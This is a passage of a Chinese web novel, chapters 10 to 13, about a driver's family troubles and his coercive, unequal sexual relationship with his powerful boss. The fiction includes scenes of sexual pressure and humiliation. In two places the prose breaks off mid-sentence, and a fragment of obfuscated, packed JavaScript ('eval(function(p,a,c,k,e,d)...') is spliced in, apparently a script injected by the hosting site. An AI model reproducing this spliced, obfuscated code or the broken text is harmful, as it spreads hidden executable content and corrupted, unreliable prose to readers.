太芬看他折得并不麻利，天气又热，就赶他回屋：“你去屋里帮轩轩和婷婷看看作业吧，快开学了。” “帮你折一会儿再去。” “你啊，就是老实，心软。”太芬一边麻溜地干活，一边问他：“就算你后面再走，也不能不成家啊，嫂子托人给你介绍个对象吧？” “不用了，暂时不想考虑这些呢。”乔施珩拐了个弯：“再说，我一穷二白，拿什么谈对象。” “你这话说的，总有小姑娘不在乎这些。况且，你人长得多好啊，是吧？这一步你总要迈出去，难不成一辈子不结婚啊？”太芬说完，见他闷头不语，就是不答应，也没办法。 “哎，那个郑先生，有对象没有？” 乔施珩几乎脱口而出：“正经的没有。” “什么叫正经的没有？”太芬疑惑：“那还有不正经的？” “反正就是，算没有吧。”乔施珩想，还是维持一下郑先生在他们家里人眼中的形象吧。 “那咱们小文能攀上人家吗？”太芬异想天开：“那小文长得也好啊，又年轻。” “嫂子，别想这不切实际的，你不想想他们年纪差多大。” 见乔施珩不高兴，太芬也正经下来：“那还不是小文天天郑先生长，郑先生短的。要我说，也确实不合适。你哥也天天郑先生长，郑先生短的。” 外面实在太热，电风扇根本不顶什么用，乔施珩就说：“大嫂，回屋去吧，太热了。” “我都习惯了，不觉得热。你回吧，给轩轩辅导一下功课。” 乔施珩劝不动太芬，只好自己回了屋里，轩轩的屋子里开着空调，很凉快。两个小孩正抱着平板玩游戏，见他来了，只顾着玩，敷衍地和他打招呼。 老房子虽然有两层，但面积很小，楼上四个房间都不大，楼下除了厨房客厅也就只有一个小房间给乔施军和太芬做了卧室。楼上有个杂物间，常年不住人，堆得很满。还剩两个房间就给了这两个孩子，一间给了小文。 轩轩用得书桌有些年头了，上头痕迹斑斑，他顺手拿过他的暑假作业，发现几乎都没做。他就问：“轩轩，作业怎么没有做完？” “还有一个月才开学呢。”乔恩轩不以为意：“后面几天我会做。” “婷婷你呢？有作业吗？”他继而问乔恩婷。 小女孩腼腆摇头，半天猫了一句：“我开学上小学，就有作业了。” “少玩些游戏，小孩子玩游戏会对眼睛不好。”乔施珩拿不出叔叔的气概来管他们，就坐在一边看他们玩，看了一会儿，他发现乔恩轩打游戏总是输，就说：“叔叔给你玩，保证能赢。” “真的吗？你会吗？”乔恩轩持怀疑态度。 “当然了。”乔施珩顺带提要求：“要是我帮你赢了一局，你就做两个小时作业，怎么样？” “好，可以。”乔恩轩想赢的心达到了巅峰。 于是乔施珩帮他赢下一局，他也守约老实坐在书桌前学习。为了不打扰他，乔施珩就带着乔恩婷下楼看电视。 换台的时候无意间看到了一档选秀节目，镜头刚好闪过林木的脸，他化着爱豆妆，非常好看，亮晶晶的。原来是要通过选秀节目出道啊，乔施珩没有换台，就随便看看吧。 到了做晚饭的时间，太芬终于忙完进来接着忙了，乔施珩就到厨房里帮她忙。没过多久，乔施军就回来了，他进了门，心情不好，往沙发上一坐就哀叹：“唉，今天下午又输了三百多块钱。” 太芬听到了，就数落他：“叫你不去打，不去打，非要去。” 乔施珩也不好说什么，就安慰他：“打牌输输赢赢很正常，过几天就能赢回来了。” “你在那干什么呢？让你嫂子忙，你过来坐会儿。” 菜都配好了，炒起来也不费事，乔施珩就说：“今天我做饭吧，让哥和嫂子尝尝我手艺。”他离家多年，确实也没给他们做一顿饭，于是又说：“正好，小文也没有尝过我手艺呢。” “你看看，还是阿珩好啊，又会做饭，长得又好。”再说下去难免要提到他的终身大事，太芬就没再往下说了，倒是乔施军又说：“有什么用，对象也不找，当个老光棍光荣。” 乔施珩笑了笑，继续做他的饭。 正好他做好饭，乔施文回来了，她一进屋，乔施军就说：“你这条裙子还是素了，不如另外一条。” “哎呀，这条够好了。”乔施文放下包，看到乔施珩：“哥，你做什么好吃的了？围裙都围上了。” “上桌你就知道了，去洗手吃饭吧。” 乔施珩做饭的手艺自然不必多说，可谓色香味俱全，堪比饭店里大厨的手艺。几个人都纷纷夸赞，吃得很香。 “哥，你怎么这么会做饭啊？” 乔施军也跟着说：“你哥啊，当年也是去过饭店打工的。可惜没干长，就不干了。” “为什么不干了？”太芬好奇，她嫁过来的时候乔施珩已经在外面了，所以她并不了解。 “那吃饭的客人一喝多酒，就会找他麻烦，不是把他拉着不让走，就是要给他抱着坐怀里，咱们阿珩能忍吗？差点跟人动手，这不，就让人店老板给赶出来了。”乔施军遥想当年：“当时二村王三粉的三叔生病了，要找人顶，去开车。王三粉没有驾照，搞不了，就让咱们阿珩去了，这不，一干就干这么多年。” “幸好哥你去给郑先生开车了，不然真不知道你还能干什么。”乔施文又说：“你今天不是去咱们楼下吃饭吗？那几个婆娘讨论了你一下午，说你长得好看，我就说你还不赶紧趁着现在没那么老，找个媳妇。” “你说话怎么这么难听呢。”乔施珩听着直皱眉：“那是你的同事，你叫人婆娘干什么？” “好了好了，吃饭。”乔施军打圆场：“咱们小文刚工作，又出色，被人嫉妒很正常。” “哥你也是。”乔施珩无语：“你不能老捧着她，你看看她，还有个工作样子吗？穿得跟去参加晚会似得，哪家写字楼里的白领穿成她这样？你不提醒她就算了，你怎么还撺掇她呢？” 乔施文筷子一摔：“哥你什么意思啊？我穿什么样碍着你眼了啊？你见过多少白领啊，就这么说我。” 太芬急忙出来圆场：“好了好了不说了，先吃饭，吃完再说。” “不吃了。”乔施文起来，往沙发上一坐：“谁没吃过饭一样。” 乔施军干笑两声，缓解尴尬，然后就避开了话题，直接说事：“那个，阿珩，今天叫你回来也确实有事。” 太芬似乎知道他要说什么，想打断他：“轩他爸，你别说了，这事儿我不同意。” “有你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“没事，是咱们家对不住你，你也别听你哥的，他天天在家里，很多事不知道轻重的。” 这件事像一根刺，扎得乔施珩很不舒服，但他最终仍然决定不麻烦郑先生，照旧老实本分做着他的司机。想着就快到郑先生的生日了，他该琢磨送他点什么了。 有天晚上他顺着金石滩宿舍楼散步，看到了一家陶瓷店。他还从来没有做过这些手工类的东西呢，看着里面精美的物件，他最终想尝试做个杯子送给郑先生。 因为没有做过，他想，就算不值钱，可能也不好看，但是是自己做得，就算放在郑先生的房子里不动，也很好了。 于是，只要晚上回来的早，他就会去那家店里做杯子。他的想法很单纯，他想挑个做得最好看的，送给郑先生。 林木大概是因为忙，有一周都没有出现了。这一周，也没有别的人出现。他歪在休息室的沙发上，看着视频里正在唱跳的林木，想着他是不是快忙完了。 休息室的门被敲响，杜慧慧伸头进来：“乔师傅，你有哥哥吗？” 乔施珩坐起来：“有，怎么了？” “我看到赵秘书带着个男的去见郑先生了，我刚好汇报完工作从主任那里回来，迎面撞上了。赵秘书说，他说是你哥。”杜慧慧小声：“真是你哥啊？” 乔施珩站起身：“我去看看。” 11. 第 11 章 他知道郑先生在顶楼，于是搭了个电梯上去。出了电梯，乔施珩远远就看到赵秘书等在门口。他急忙过去问：“赵秘书，我哥来了？” “是的，在里面。他说有事情要找郑先生，和行政预约，报的就是你的名号。”赵秘书推推眼镜，似乎有意遮掩：“所以先生让他上来了。” 乔施珩几乎不用想都知道乔施军是要说什么。 他正想破门而入，门就打开了，乔施军笑呵呵出来了，很满意的样子，见到乔施珩，他就脸一垮，冷哼一声朝电梯去了。 “哥，你跟郑先生说了？” “说了，人家很乐意帮忙，也不觉得是个事，你看看你，好像天塌了一样，能指望你干点什么，我顺道也说了，让恩轩也转学过去，去好点的学校，对孩子也好。” 乔施珩无言以对。 下班送郑先生回去的时候，乔施珩就问他：“先生为什么要答应我哥？” “怎么？答应他你不高兴？”郑祉桓懒懒的靠在后座上，随口反问。 “不是...”乔施珩不知道该怎么说，只好说：“以后我会尽量让他们不要麻烦先生的。”他不想在麻烦郑先生了，但一回到申城，各种各样的事情就都找了过来。 到了明院，郑祉桓说：“车子停进去吧。” 乔施珩又明白了。 他洗完澡出来，看到郑祉桓正靠在窗口，似乎在跟人打电话，靠近了才听到对面似乎是林木。他想退回去，却被郑祉桓拉了过去，圈在怀里。顺着面前的玻璃看，乔施珩能看到郑祉桓的手摸进了他的浴袍，而他确实像个木头。 最后，他只能小声求郑祉桓挂掉电话。 他是个没用的人，没什么思想和灵魂，也不有趣，不鲜活，不灵动，甚至也不再年轻。这样的人，当个玩具，也挺不好玩的吧，不然为什么还要打着电话，不肯挂掉。 不知道是出于什么原因，这次郑祉桓下手有些重了，乔施珩早上甚至没能爬起来做早饭。郑祉桓都收拾好了，看他还在被子里挣扎，就让他留下来休息，自己开车走了。 于是这一天，他又做起了老本行，把整个明院里里外外都打扫了一遍，还把东西都摆好了。收拾到客房的时候，他在这里看到了林木的东西，几件衣服，一件睡袍。他盯着那件睡袍，很难理解，这么薄这么透的睡袍要怎么穿着睡觉，看了半天才后知后觉，那不是用来穿着睡觉的。 这天晚上他在陶瓷店里做杯子的时候，遇到了杜慧慧。她很诧异：“乔师傅，你怎么在这里？” 她是过来取周末和朋友在这里做的杯子，看到满手都是泥的乔施珩，她确实是诧异，而且还是他自己一个人。 乔施珩还算坦然：“我来做个杯子。” 旁边的店老板听到笑呵呵说：“这帅哥可不是做一个杯子，已经做了十几个了。” 乔施珩尴尬，也没有解释。杜慧慧随口说：“头一回听说有人爱好做杯子哈哈。”她不走了，留下来陪乔施珩。 “乔师傅，你不愧是做了十几个的，你看看，做得好好，烧出来可以拿去卖了。” “没有那么夸张吧。” 这天晚上乔施珩做完了最后一个杯子，因为这个杯子确实做得很好，他自己很满意。 跟着杜慧慧一起回宿舍楼的路上，听她絮絮叨叨说很多事情，从学校趣闻讲到考试趣闻最后甚至上升到八卦娱乐。虽然她没有提到林木，但不知道为什么，乔施珩想起了他。他消失的那些天是录节目去了，等他一回来，自己就没有再去过明院，甚至车子也没有再开进明院。 大鱼大肉上桌后，就没人想吃干巴巴的土豆了吧。 和杜慧慧熟悉了以后，在金石大楼里，杜慧慧休息时间总会过来找他，有时候带点零食和他一起吃，有时候推荐他电视剧和他一起看，总之从那以后，每天午饭杜慧慧都会准时在食堂门口等他。 她很和善，能让乔施珩相对比较放松，于是乔施珩也觉得，自己这应该算是交到了朋友。 因为轩轩和婷婷上学的这件事，乔施珩有半个月没有回家，这天接到了太芬的电话，他才决定回家一趟。总之，再怎么不愉快，家也是要回的。 他回去比较晚，已经过了晚饭时间。进门看到太芬还是在那里折纸箱，他打了声招呼。太芬就站起来往屋里去：“你哥又去打麻将去了，我给你留饭了，还没吃吧？” 他刚送完郑先生就过来了，确实还没吃。 屋里乔施文正坐在沙发上涂脚指甲，看到他回来不咸不淡地跟他打了声招呼。乔施珩坐下来吃饭，太芬就站在旁边看着，欲言又止。 “大嫂，有事吗？坐下来说吧。” 太芬显然觉得不好意思张口，支支吾吾半天，才说：“轩轩和婷婷学校的事情都弄好了，但是崇海小学，学费太贵了。” 乔施珩就问：“要多少？” 太芬笨拙地举了举手，乔施珩也没以为是五千，就点点头：“知道了，回头我转给你。” 出门的时候，乔施文追了过来：“哥，你那还有钱吗？” 乔施珩想到她那些华丽的衣服和包包，问她：“要钱干什么用？” “哎呀，你别管，你还有没有？”乔施文竖起手指：“给我两万花花。” 乔施珩有点为难，其实主要还是怕她乱花钱，但显然乔施文不这么想：“那你给大嫂一转就是五万，你可不能厚此薄彼！” 他心软，乔施文软磨硬泡几句后，他就答应了，但是：“你不能乱花钱，知道吗？家里的情况，你也知道的。” “知道的知道的。”乔施文答应的很干脆，美滋滋跑回家了。 于是，刚拿到一笔非常可观工资的乔施珩，一下子兜里又没两个子了。 回到宿舍，他发现空调坏了，这个三十好几度的天，没有空调可怎么办，于是他就给赵秘书发信息，请他找人来维修，自己去冲个澡，出来吹个电风扇，将就一晚。 床头放着一本他在办公室垃圾桶捡得一本日历，其实他从没有翻过日历，日历本一直翻在八月，那盯着那个日期看了看，心里琢磨着，今年郑先生的生日，大概也是和去年一样，弄个什么宴会。这种场合，他都没机会进去，只能在外面眼巴巴地等结束。 郑先生的第一个生日，他其实是不知道的。那个时候他们严格来说，还不算特别熟悉。他很内敛，不爱说话，甚至有时候会有点害怕郑先生，因此他错过了他认识郑先生后，他的第一个生日。直到来年开春，不知道是和谁一起聊到了星座的相关，才知道了郑先生的生日。 于是那个夏天，他都在纠结装不装不知道，送不送礼物，送什么样的礼物这些事情，险些没把自己内耗死。后来到了生日那天，他也没有勇气装知道。但那天，郑先生加班，一直加到了十点多，回去的路上，破天荒地，他问乔施珩：“会做面吗？” 乔施珩略显拘谨地点头。 那天晚上，他第一次进到郑先生的公寓，为他做了一碗面。还因为紧张盐放多了，郑先生加了两次水才吃完。 接着就是那年冬天，郑先生工作调动，要去很远的地方历练。起先他还不知道郑先生工作调动的事情，他只发觉那年冬天，郑先生抽烟的次数变多了。有一次，浓烈的烟味甚至把他呛到差点流眼泪，他不停地干咳，咳到弯了腰，却忽然被郑先生捏住下巴，抬起头来。 然而郑先生却什么也没说，只看了他一会儿，就放开了他。 后来想想，跟他说要离开的那天晚上，应该是单位给他举办的欢送会，他喝了酒，等人群散开后，他独自在路边抽烟。天气太冷了，乔施珩怕他冻坏了，就想去叫他上车。 他或许也没有想到，那天晚上自己的决定，会由此改变一生吧。 乔施珩发现，自己越来越爱回忆从前，越来越怀念从前。他确实是个胆小鬼，他逐渐麻痹了自己，想将自己困在过去，靠着回忆苟活。面对现实需要勇气，而他的勇气，好像用光了。 郑先生生日的前几天，乔施珩见到了郑祉裕。对方开着车，带着娃，堵在了明院的门口。乔施珩下了车，向他问好：“郑总。” 郑祉裕看了看明院，问他：“那个小明星也在里面？” 他说得应该是林木，原来他知道啊，他为什么会知道啊？乔施珩一瞬间脑海里乱纷纷的，但还是下意识点了点头。林木应该是节目录完了，也没有新通告，这几天一直都在明院，郑先生上班，他也不走。 郑祉裕看向他的目光带了些审视的意味，半天才问他：“吃饭了吗？” 乔施珩刚想拒绝，他就像是知道乔施珩会拒绝，抢先替他做了决定：“一起去吃饭，你开车跟着我。” 于是，他们就在一家湘菜馆坐了下来。 郑屿森挤到乔施珩怀里坐，问他：“哥哥你想吃牛肉吗？” “我都可以，你和爸爸想吃什么就点什么。”乔施珩耐心地帮他翻沉重的菜单页。 郑祉裕问他：“他生日打算怎么过，你知道吗？” 乔施珩老实地摇头，但他想：“应该也会举办宴会，邀请朋 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退一万步来说，他也算是乔施珩的老板，他的工资虽说是郑祉桓定的，但钱是他发的。他还记得多年前第一次见乔施珩，他的模样。 那会儿他听说三叔不干了，找了个人替他，就抽了个时间去找郑祉桓，想看看新人他用得惯不惯，不惯的话自己再给他找。进郑祉桓办公室的时候，隔着玻璃，他看到另一边待客室里坐着个男孩子，猛地一打眼看去，见惯了美人的郑祉裕也觉得惊艳。男孩子老老实实坐在沙发上，面前摆着很多零食，但他也没动，而是捧着一本书，似看非看。 郑祉桓正在办公，他年纪轻轻负责的事情倒是不少，忙得脚不沾地。见到郑祉裕来了，就抬眼扫了扫他，继而敷衍地叫了声哥。 “我来关心关心你的生活。”郑祉裕自己扯了个椅子坐下：“你们单位不是有司机班吗？没想着找个用用？” “鱼龙混杂。”郑祉桓抛了四个字给他。 郑祉裕想想也是，他还年轻，万一再让人使绊子。“外面那个男孩子是什么人？” “司机。”郑祉桓补了一句：“新来的。” 这下轮到郑祉裕惊讶了：“这么小，给你做司机？”他狐疑：“成年了吗？” “三叔没给你说吗？”郑祉桓确实没空理他，敷衍：“总之能开车就行。” “三叔是老爷子给你的人，又不是我给你的人。”郑祉裕笑：“行，天天看着，也算赏心悦目。” 他离开的时候，又顺眼去看，男孩子歪在沙发上，还是捧着那本书，却已经睡着了。 当年他倒是没以为那赏心悦目的男孩子会跟他这么久。 而这么多年过去了，这个男孩子仿佛还是老样子。 他收回思绪，问他：“你跟他在外面的这些年，算得上是谈情说爱吗？”他想了想，觉得自己问得有些不妥，按照乔施珩的脑回路，不见得明白他的意思，只好选了个直白一些的问法：“就是说，你们两个这些年，是交往吗？” 那显然不是的。郑祉裕当然明白不是，他只是想点一点乔施珩。 乔施珩果然愣了愣，继而摇了摇头。 “那你们就是P友。”郑祉桓给他们之间的这一层关系下了定义，但看到乔施珩发白的脸，又有些不忍：“不是交往的话，你们双方都没有必须忠诚的义务吧？所以他这两年，开始有些杂七杂八的人。” 乔施珩不知道他想说什么，看起来也不是想要羞辱自己的样子，但他听着就是很不舒服。这么多年，他甚至都没敢想过，交往这两个字。 “郑祉桓这个人，我其实也不算了解他。”郑祉裕说：“但他是个相对来说，比较薄情的人。上学的时候只顾着学习，工作了更是满眼工作，个人情况，他根本没考虑过。” 乔施珩给埋头干饭的郑屿森倒满牛奶，听郑祉裕说。 “在外面历练的那些年，他身边只有你，这个我知道。”郑祉裕说：“你对他来说，确实不一样。但是你不自信，不敢开口要什么，他又自负又没情商，不肯低下头或者说不知道能给你什么。所以你们现在的结果，我也不意外。” 乔施珩似乎有点明白郑祉裕的意思了，他第一次鼓起勇气，问郑祉裕：“勇敢一点，就可以吗？” 郑祉裕歪头：“为什么不试试呢？”但他又说：“不过他的身份特殊，如果个人问题不解决，恐怕很难再进一步，这点你也应该有心理准备。” 乔施珩冒出的那点希望与勇气，又啪嗒一下，灭掉了。 12. 第 12 章 在乔施珩的眼里，郑先生确实不是个有情的人，包括现在，他身边那些几个月就消失的人也都是证明。从他到他身边开始，他从没有见过郑先生交女朋友或者男朋友，任何人都没有。他的生活其实很寡淡，除了工作之外，最喜欢的也是在他看来很没意思的钓鱼。 后来乔施珩想了想他为什么会喜欢钓鱼，也可能是因为在那些偏远的地方没什么像样的娱乐场所吧，但最不缺的就是大江大河。因为到繁华大城市的这三年，他似乎再也没有钓过鱼。 不过他也越来越忙了。开不完的会，处理不完的事情，还有很多必要或者不必要的应酬，压力也很大。尤其是在别人看来，他年纪轻轻就身居高位，更要小心谨慎。 平时不工作又不钓鱼的时候，他最关注的就是时事新闻，经济形势这类与他工作相关的新闻，再不然就是找几部电影来看。很偶尔也会出去打打高尔夫，或者游个泳，不过这都是这两年的事情了。未来，他应该还会开发出更多的兴趣爱好吧。 不知道为什么，乔施珩自认为不是脆弱的人，但这个时候却感觉心里酸酸的，一想到郑先生，他就觉得难受。他从来都不觉得郑先生是个不好的人，就算这两年他有了其他人，但他们之间的状态其实一直都是这样的啊。郑祉裕说得对，他们从来没有谈过情说过爱，他们只是寂寥岁月里相互之间的慰藉吧。 把车子停好，乔施珩在车里坐了一会儿，他很压抑，他甚至在一瞬间都想不起来过去的那十来年是怎么过来的。十二年真的是弹指一瞬，但人的一生，根本没几个十二年。 第二天一早，乔施珩发现自己似乎是生病了。他头昏脑涨，起床都觉得眩晕，这种情况他是开不了车了，就像以前一样打电话给郑先生请假。 接电话的却是林木：“乔师傅，有事儿吗？” 乔施珩一滞，从前很偶尔，他才会帮郑先生接电话呢。“我身体不舒服，想跟先生请一天假。” “哎呀没事的乔师傅，你生病了就好好休息，郑先生这边你不用担心，多休息几天吧，等身体好了再上班！” 不知道为什么，乔施珩觉得电话那头的林木很高兴的样子，他有点莫名其妙，自问自己对他也不差啊，怎么自己生病了，他反而还高兴呢。 但他也顾不得那么多了，当务之急，他应该去一趟这附近的诊所。 诊所里的老医生数落他：“烧到四十度了，也亏了你能走到这里来。”他帮乔施珩打好点滴，叮嘱他：“没水了记得叫人啊。” 乔施珩歪在梆硬的椅子上，点了点头。 这些年他生病的次数不多，除了胃不好，没什么别的问题，发烧的次数更是屈指可数。恍惚间，他想起来从前有一次，也是自己发烧，烧了三十八度，那天郑先生甚至班都没去上，全天都陪着他，直到他退烧。而现在，他烧到了四十度，郑先生甚至都不知道。 他觉得自己那点悲哀的奢望，被残酷的现实一点点侵蚀，到了现在，都不剩什么了。 一瓶水快吊完，他接到了郑先生的电话。 “怎么了？” “没事，就是有点不舒服。” 电话那边的郑祉桓沉默了一会儿，才说：“那你好好休息，放你三天假。” 现在，就连放他假的次数，都比过去多得多了。他明明记得以前，他说想请假回家，郑先生都一脸不愿意，最后也不允许，只有在郑先生也回家的时候，他才会被允许离开他回自己的家。 乔施珩觉得眼睛酸，鼻子也酸，哑着声音喊人：“医生，换水。” 这天早上他久违地感受到了阳光的炙热，出了金石滩公寓的大门，沿着街边往金石大楼走去。期间杜慧慧打电话来关心他怎么没去上班，他没说自己生病了，只说自己有点事，他怕说生病了会麻烦到她，最起码她也会买东西然后跑去看望他。而他当时很烦，也没什么力气，只想自己呆着。 他原本以为这三天都是郑先生自己开车，哪知道到了金石大楼远远就看到楼后面的角落里，有个约莫四五十岁的男子正拿着水管在洗郑先生的车。他穿过玻璃门，又走过长廊，走到那辆车前，怔怔地看着。 洗车的大叔本来在专心洗车，冷不丁发现有人在看他，还以为是楼里上班的人，就开玩笑地说：“怎么？没见过这么好的车啊？连班也不上啦？” 乔施珩不知道自己应该做什么反应，回来申城以后，他从来没有这样洗过车，都是开去洗车店让专业的人来洗，倒不是心疼车，而是怕自己洗不干净。 大叔看他没说话，盯着车出神，就主动说：“这车啊，是郑先生的，算你们领导吧？他司机有事，我来顶两天。” 乔施珩脱口而出：“你是郑先生的亲戚吗？” “不是，我是人介绍来顶两天的。” 乔施珩看他很和善，又问他：“没说顶到什么时候吗？” “没有啊。”大叔很爽朗：“我侄儿介绍的，也就顶两天的事情吧，他说不需要了，我就找别的事儿干去。”大叔说到这里也没怀疑眼前这个男人就是原本的司机，还问他：“你怎么不上班？” 乔施珩站在树荫下，也不觉得热，就跟他唠嗑：“我不是这里的员工，我等人。” “这样啊。”大叔吭哧吭哧擦车身，还不忘跟他唠：“我侄儿认识郑先生，前两天打电话给我，这不我正好愁没事做，就过来了。你可别说，这司机也挺好，有这么气派的车开着。” “你侄儿也是楼里的员工吗？”乔施珩还天真的以为会是赵秘书安排的呢。 “不是，我侄儿年纪小，唱歌的，要当明星的，人脉多些也正常哈。” “哦。”乔施珩干巴巴应了一声，他可算后知后觉为什么林木会那么高兴了，有可能郑先生压根都不记得三天已经过了。 中午他去食堂吃饭，不意外地遇到了杜慧慧，她端着餐盘坐到他身边，上下打量他：“你事儿忙完了？怎么看着脸色不好？” “没事。”乔施珩解释：“没睡好。” “哈哈，你是不想来上班吧？谁假期过后会想上班啊。”杜慧慧又问他：“今天要出去吗？不出去你就在休息室里睡觉，又没人打扰你。” 乔施珩也是这么想得，但当他一觉睡到六点半，整个金石大楼的人都走了一半了，而他急忙抓过手机，什么信息都没有。那瞬间他又瘫回了沙发上，脑海里很乱，有很多想法，但他却提炼不出自己究竟想了什么。 回金石滩公寓的路上， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不是不是，不关他的事情，是我自己，我自己在想，我还能干点什么。” “确实也得防一手，不过说真的乔师傅，很多明星都是三十岁以后才红，你考虑一下出道去啊。”杜慧慧很认真：“没开玩笑，现在资本家的丑孩子我都看腻死了。” 乔施珩干笑：“这个就算了。”以色侍人的年纪，已经过去了。 “总之呢，别太发愁了，所谓船到桥头自然直。” “好，谢谢你。” 回去的路上，乔施珩确实是宽慰了不少，杜慧慧从大楼八卦聊到时事现状，也确实让他从那种压抑的情绪中有所抽离。他和杜慧慧其实是住在同一个楼层，中间隔着一个楼梯还有一间很大的员工活动室。 “乔师傅回去早点睡觉啊，晚安了晚安了。” “好，你也是。”乔施珩经过常年无人活动的员工活动室，走到自己最里面的那间宿舍，走廊里的灯是声控的，他不自觉加重脚步，灯亮起的时候却是吓了一跳，郑先生就站在他的门口，意义不明的看着他。 “郑先生？”他很惊讶：“你怎么来这里了？” 13. 第 13 章 郑祉桓的目光转向另外一头已经黑掉的长廊尽头，问他：“那是谁？” “也是金石大楼的员工，叫杜慧慧，上次她生病我送她去医院所以认识了。”乔施珩一边说着一边开门，却在错过他的瞬间闻到了一股酒味，“先生你喝酒了啊？” 郑祉桓进门，却没有回答他的话，而是问他：“所以，你今天跟她在一起？” 乔施珩一边擦凳子搬给他坐，一边回他：“不是啊，就是下班的时候遇到了，然后一起去吃了烤串。”还不忘顺手开了空调，“有点热吧，这个空调之前坏了，又修好了。” 郑祉桓解开衬衫上的扣子，没说什么。 乔施珩感觉抱歉：“这里有点乱，我这两天也没怎么收拾，先生你将就坐一下吧，我给你倒水去。”他倒了杯水，转身就发现郑祉桓已经在他身后，他只好说：“不好意思啊先生，我病已经好了，明天就可以上班了。” 郑祉桓把他困在自己和桌子中间，伸手接下他的杯子，却手一歪，将整杯温水倒在了他的胸前。乔施珩被他这么一浇立刻有种不好的预感，他急忙说：“那个先生，我也不是全都好了，还有一点点不舒服的。” “不舒服还能跟人去吃烤串？”他放下杯子，凑近他，“这么有空啊？” 乔施珩撇开脸解释：“我今天是去了金石大楼的。” “是吗？” “因为那个顶班的大叔在洗车，我想着就不如明天再去好了。”他这么说，已经很委婉了，所有的问题最后他都要揽到自己的身上。 果然，他这么说完，郑祉桓直起身来。 乔施珩松了口气，刚想站直身体，就被郑祉桓拖着甩到床上，接着郑祉桓倾身压了上去。乔施珩挡着他，有点不明白，本身这件事情里，他没什么错吧？他错在没有告诉他自己去上班了？但他已经有顶班的人了啊。他为什么不让顶班的人走，为什么下午出去办事情还是带着顶班的大叔？他自己不是会开车吗？难道仅仅是因为那是林木推荐来的叔叔吗？ 有一瞬间，乔施珩觉得天旋地转，他几乎没能控制住自己，但所有的质问脱口而出的瞬间却仅只有三个字：“林木呢？” 郑祉桓捏住他的下巴：“怎么？” “我送你去找他吧，”乔施珩甚至有点求他：“宿舍的隔音也不好，床也不好，还是单人床。” “跟人吃串的时候倒是没什么顾虑。”郑祉桓将他的衬衫从下往上掀起，蒙住了他的头：“隔音不好不是正好吗？让她听听你是怎么在N人S下FL。” 其实除了第一次，乔施珩从来没觉得跟郑先生做这些事情会有什么屈辱感。他是喜欢郑先生的，而当初的第一次，也是他突破自己的内心，认可这件事的必经过程。 那是他们离开申城去往大西北的第一个新年，他这样生活粗糙的人都有一些水土不服，何论是从小锦衣玉食的郑先生。那个时候郑先生发烧，又因为刚到新地方还不适应，各种事情搞得他们鸡飞狗跳，根本腾不出时间回申城过年。 但新年那几天他们还算空闲，于是乔施珩就仔细打扫了宿舍，又去超市买了很多菜，还在网上搜好了做菜的教程，准备一展身手。郑先生当时病恹恹的，躺在床上看电影，一会儿问他打算做什么好吃的，一会儿又说自己什么也吃不下。乔施珩还是第一次看到他有些孩子气的一面，觉得很稀奇。 最后他做了六道菜，郑先生看起来很感动，但最后几乎也没怎么吃。电视机里放着春晚节目，他在房间里忙来忙去，忙得一身汗。 这里冬天供暖，和申城不一样。 郑先生的宿舍是一套两居室，他的房间小一点，郑先生的房间大一点，除此以外只有一厨一卫一厅一阳台。地方不大，肯定比不了在申城的条件。 他看郑先生还在专心看电视，就进了浴室洗澡，套上棉服睡衣出去后，他发现客厅灯都关掉了，静悄悄的，郑先生的卧室门半掩着，里面闪着灯光，应该是还在看电视。乔施珩秉持着慰问一下他的心理，敲门进去。 郑祉桓见他来了，问他：“要看电影吗？” 时间还早，乔施珩确实也不想很早睡觉，他只是好奇：“不看春晚吗？”说着，找了个椅子，坐下。 郑祉桓拍了拍床：“上来，下面冷。”一边又回答他：“没什么好看的节目，找点电影看看。” 其实屋里一点儿也不冷，但听郑先生这么说，他心跳有些快，本来想拒绝，但看郑先生已经掀开了被子，他只好硬着头皮过去。 这是他第一次跟郑先生贴这么近，整个人都很紧张，甚至有种飘飘然不知身在何处的感觉，连郑先生要看什么电影都忘记问了，不过他很少看电影，懂得又不多，郑先生看什么，他就跟着看什么好了。 但是令他没想到的是，一开始还算正常的画面，放着放着就不对劲了。画面里没有女生出现，只有两个男的一直在卧室里说话，说英语，他也听不懂，甚至都没有字幕。 乔施珩想着也许后面就好看了，但没过多久，那两位男士开始做一些莫名其妙的动作，他有点吓到了，终于结结巴巴问：“这..这是什么电影啊？” “没看过？”郑祉桓说着把他拽到怀里抱着。 乔施珩倒是没有挣扎，他不知道为什么，好像本来就不想也不会拒绝郑先生。他只是老实回答：“没有，我不看外国电影。” “这其实不是电影。”郑祉桓摸上他的背：“这是PIAN。” 乔施珩觉得自己脸红的快滴血了，感受到郑先生在他身上游走的手后，他有点害怕了，他终于想起来挣扎，但却被牢牢按住，动弹不得，只能小声说：“两个男生呢。” “那又怎么了？”郑祉桓的手从他棉服下摆摸进去，脸上神色不变，眼睛还是盯着电视机。 “这样不对。” “那什么是对？什么是错？”郑祉桓的目光下移，看着他伏在自己胸前的脑袋，毛茸茸的，像个玩偶。 乔施珩当然回答不出来，但喜欢郑先生这件事本身，如果按照他说得，那也是不对的。 电视里的画面越来越不堪入目，简直是打开了乔施珩新世界的大门，让他目瞪口呆。这个时候，郑祉桓问他：“看懂了吗？男人之间，就是这样Z。” 乔施珩闭上眼睛，想装死。 但郑祉桓像是知道他会闭上眼睛，把他捞起来，抬起他的头。同时，乔施珩也感受到了他的身体变化，很神奇，乔施珩以为他是天上的神人呢，从来没敢亵渎过他，但这一刻这位神人拽着金光跃下，落在了他的身边，让他真真切切感受到了他属于凡尘，也或许，有一刻，属于自己。 枝芽青涩，羞怯地从土中冒头，见识这世界的多样性，却只能牢牢扎在脚下这片土壤之中。或许，当初青涩的枝芽，也没想到有一天自己无论如何，也结不出生涩的果来吧。 乔施珩觉得鼻头酸涩， 